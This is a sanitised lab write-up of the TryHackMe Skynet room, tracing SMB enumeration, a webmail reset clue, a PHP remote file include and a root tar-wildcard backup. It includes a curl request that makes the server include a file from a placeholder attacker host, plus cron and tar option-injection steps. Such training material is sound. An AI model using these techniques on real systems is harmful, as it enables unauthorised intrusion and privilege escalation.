Skynet is not solved by finding one magic URL. It is solved by treating every service as evidence about the next. The guest SMB share tells you where to look. The webmail reset gives a lab-only identity boundary. The CMS source shows a path the server will trust. The root backup then reveals why wildcard expansion is an authority decision, not a convenience.
TryHackMe's official walkthrough confirms the broad route. This companion takes a different approach: no credentials, flags, target address, reverse-shell payload or copy-paste root command. The aim is to help you recognise the same trust mistakes in another authorised lab.
Attack model: five claims, five checks
| Stage | Evidence needed | Decision it supports |
|---|---|---|
| Inventory | Service names, versions and reachable ports | Which protocols deserve a bounded check |
| Guest share | Readable files, identities and neighbouring shares | Whether webmail is a plausible next boundary |
| A reset event tied to the lab identity | Which account context is authorised inside the room | |
| CMS | A versioned route and include behaviour | Whether untrusted input can choose server-side code |
| Backup | Root schedule, working directory and wildcard | Whether a lower-privilege write can alter privileged arguments |
Phase 1: create a service map
Start with a restrained service and default-script scan against the room address. It establishes the first relationships without guessing paths or using a broad exploit framework.
nmap -sC -sV -oN scan.initial <LAB_IP>Why these flags: -sV identifies the service implementation; -sC runs the default NSE set; -oN preserves evidence. In the room, HTTP appears beside mail and SMB. The better hypothesis is that these services describe one user environment, not three unrelated problems.
# Representative, sanitised output
80/tcp open http Apache httpd
110/tcp open pop3 Dovecot
139/tcp open netbios Samba
143/tcp open imap Dovecot
445/tcp open microsoft-ds SambaThe output does not prove a chain. It tells you what to ask. Spending the entire hour fuzzing the homepage because HTTP is familiar is a common dead end. The exposed mail and SMB services are stronger evidence that the site is part of a shared user environment.
Phase 2: treat guest SMB as an evidence store
First ask whether the server offers shares without credentials, then inspect only the shares confirmed readable. The aim is not to collect everything. It is to identify whether the guest area leaks names, reset material, project locations or a relationship to the web application.
smbclient -N -L //<LAB_IP>
smbclient -N //<LAB_IP>/<GUEST_SHARE>-N explicitly asks for a null session. If the room exposes a guest-readable share, record the share name, read permission and filenames. Download a promising text file only after you can explain why it matters.
# Representative lab evidence
Sharename Type Comment
anonymous Disk guest material
smb: \> ls
notes.txt
[another user-specific share is named nearby]The useful clue is not a password dump. It is the pairing of a user identity with a password-related note and another SMB share. That makes a password-reset workflow or webmail context a more disciplined next test than trying the same string against every service.
Failure mode: a file that looks like a credential list may be a decoy. Do not treat a phrase as a valid secret until the room provides a legitimate identity path that explains it.
Phase 3: use the reset message as context
The earlier web discovery exposes a mail interface. In the authorised room, use only the identity and reset context established by the guest evidence. A successful sign-in should produce new evidence: the reset message identifies the relevant user-side share and the next application location.
Reset processes are identity controls. They become an attack surface when they disclose reusable values, accept weak proof of identity or leave active credentials where another user can read them. In a real environment, report that trust failure instead of repeatedly attempting a string against unrelated accounts.
Once the room's user-specific share is available, inspect its contents for project documentation. In Skynet, the clue is a CMS location. The job is now web application review, not more authentication testing.
Phase 4: prove the PHP include boundary safely
Enumerate beneath the disclosed CMS path rather than attacking the whole host again. A narrow wordlist run tells you whether administration or alert-related routes exist.
ffuf -u http://<LAB_IP>/<CMS_PATH>/FUZZ -w <WORDLIST> -fc 404Review the exposed application files to identify the CMS and version. TryHackMe's official walkthrough describes a request parameter passed to PHP's include function. That is the defect: a request-supplied value can influence the file PHP loads.
// Simplified vulnerable pattern
include($_REQUEST['urlConfig']);MITRE classifies this family as CWE-98. An allow-list of fixed application identifiers is safer than accepting a file path or URL from a request. The security question is not whether the parameter name sounds harmless. It is whether untrusted input reaches an include or require call.
Use a harmless marker file first inside the allocated room. It demonstrates retrieval without publishing a shell payload.
curl --get --data-urlencode "urlConfig=http://<ATTACK_BOX>/marker.txt" "http://<LAB_IP>/<CMS_PATH>/<INCLUDE_ROUTE>"If the marker appears in the response, the application has crossed the intended code boundary. Complete the room's limited low-privilege step only on the resettable TryHackMe machine. Keep callback details and proof strings out of notes, screenshots and published articles.
Phase 5: audit root backup as argument parsing
After the room gives a limited shell context, shift from application discovery to local trust review. Check the schedule, read the referenced backup script and identify its working directory before touching anything.
cat /etc/crontab
ps -ef | grep -E 'cron|CRON'
sed -n '1,160p' /home/<LAB_USER>/backups/backup.sh
find /var/www/html -maxdepth 1 -type f -printf '%M %u %g %f\n'The room's backup is dangerous because a root-owned scheduled job enters a directory containing lower-privilege-controlled files and invokes GNU tar with a wildcard. Shell expansion turns the wildcard into file-name arguments. GNU tar treats arguments beginning with a dash as options unless the caller handles them explicitly. Its manual documents both option parsing and checkpoint actions.
This is not a tar bug in isolation. It is an authority bug: a privileged process lets a less-privileged writer shape its command-line meaning. A safe local demonstration can show that a name beginning with -- is parsed differently from an ordinary file. Do that only in a disposable directory you own, with a non-privileged tar command and no external action configured.
mkdir -p /tmp/tar-name-demo && cd /tmp/tar-name-demo
touch -- --help ordinary-file
tar -cf /tmp/demo.tar *Do not reuse that pattern as a production test. In the room, the completion step is bounded to the assigned machine; on an assessment, report the writable directory, root schedule and unsafe wildcard as the evidence. A defender can reproduce the condition without allowing a command to run.
Safer backup design: keep content outside a web-writable directory, run the backup as a dedicated account, build a fixed manifest with controlled ownership, use absolute paths and pass a clear end-of-options delimiter where supported. Better still, make the backup process consume an immutable list rather than expanding a wildcard over an attacker-influenced directory.
Findings and fixes
| Finding | Why it matters | Detection and remediation |
|---|---|---|
| Guest-readable SMB material | Names and password-related notes turn anonymous access into identity intelligence. | Review guest shares, alert on anonymous SMB sessions and remove non-public material. |
| Reset information treated as a reusable secret | Mail content becomes a second authentication factor without its own protection. | Use single-use, short-lived reset tokens; avoid sending reusable passwords; add MFA. |
| Request-controlled PHP include | Input selects code or file content the server will trust. | Use fixed mappings, reject URLs and paths, update the CMS, and log anomalous include parameters. |
| Root tar over a writable wildcard | File names can change the options seen by a privileged utility. | Use a controlled manifest, fixed ownership, least privilege and audit cron commands that traverse writable paths. |
Memory aid: name the trust transfer
When a lab feels like it has too many services, say the trust transfer out loud. Skynet moves from guest-readable context, to mail identity, to server-side code selection, to root argument parsing. That is the chain to remember.
On another authorised target, the service will change. The useful habit does not: observe a boundary, write a hypothesis, choose the smallest test that can reject it, and make the next move only when the evidence earns it.
Primary sources and further practice
- TryHackMe Skynet room.
- TryHackMe's official Skynet walkthrough.
- MITRE CWE-98: PHP Remote File Inclusion.
- GNU tar manual.
- Continue with the related Kenobi service-trust companion or browse all authorised write-ups.
Frequently asked questions
What is the five-claims model in this writeup?
Each stage makes one claim that needs one check: a service map, anonymous SMB as an evidence store, a password-reset clue, a PHP include boundary and root backup argument parsing.
Why is the PHP include boundary dangerous?
A user-controlled include path lets a request serve code the developer did not intend. The writeup shows how to prove the boundary without publishing a reusable payload.
What does a defender review after this lab?
Disable anonymous SMB access, constrain include paths and template inputs, and rewrite root cron jobs so archive tools receive fixed options rather than attacker-influenced arguments.